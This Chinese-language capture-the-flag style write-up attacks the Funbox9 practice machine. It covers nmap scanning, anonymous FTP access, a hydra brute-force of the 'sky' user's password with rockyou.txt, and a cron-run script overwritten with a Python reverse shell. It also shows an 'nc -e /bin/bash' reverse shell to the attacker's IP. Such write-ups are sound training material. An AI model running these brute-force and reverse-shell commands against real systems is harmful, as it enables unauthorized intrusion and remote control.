Kali:172.30.1.3/24
靶機(Funbox9):172.30.1.129/24
通過nmap掃描此主機,我們需要獲取到開放的埠以及服務的Banner
1 nmap -sV -T5 -A 172.30.1.129
通過掃描我們發現,目標主機開放著21埠,服務Banner是 vsftpd 2.3.4,並且允許匿名登入
我們嘗試ftp匿名連線此主機:
根據其返回資訊,我們發現了一個可能是一個本地使用者的資訊:sky使用者,可以看到此使用者是一個管理員
我們可以嘗試對此使用者進行ftp密碼的爆破,看看能不能獲取到其密碼(可能無法成功):
1 hydra -l sky -P /usr/share/wordlists/rockyou.txt ftp://172.30.1.129
跑了一段時間後,這是最終的結果:
sky使用者的密碼為thebest;我們嘗試連線:
登入後我們發現,sky並沒有被困在 chroot中:
我們可以以此為突破點,搞一些別的事情,但這裡我們試著通過nc建立一個反向shell
user.flag 檔案 sky使用者有著寫與執行的許可權
將此檔案下載後發現,這是一個指令碼檔案,再進行推理,很可能是一個由系統週期執行的指令碼
所以我們可以重寫此指令碼,然後上傳
考慮到一般這種系統的安全防護做的很高,所以此時我們直接通過
nc -nv 172.30.1.3 -e /bin/bash
這種方法可能無法成功建立連線
於是我們使用以下方法來進行連線:
將此命令插入到指令碼中,並且上傳,這是一個通過python實現的反彈shell,更多方式大家可以去看這個網站:Online - Reverse Shell Generator (revshells.com)
export RHOST="172.30.1.3";export RPORT=25565;python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("sh")'
隨後,我們在本地監聽25565埠,等待連線:
1 nc -lvnp 25565
靶機成功執行此指令碼,證明我們的推理是正確的:
最終,我們獲取了 sarah 的shell
PS:
從滲透的角度來看,還可以通過 vsftpd 2.3.4 這個版本通過msf直接利用後門漏洞也是可以的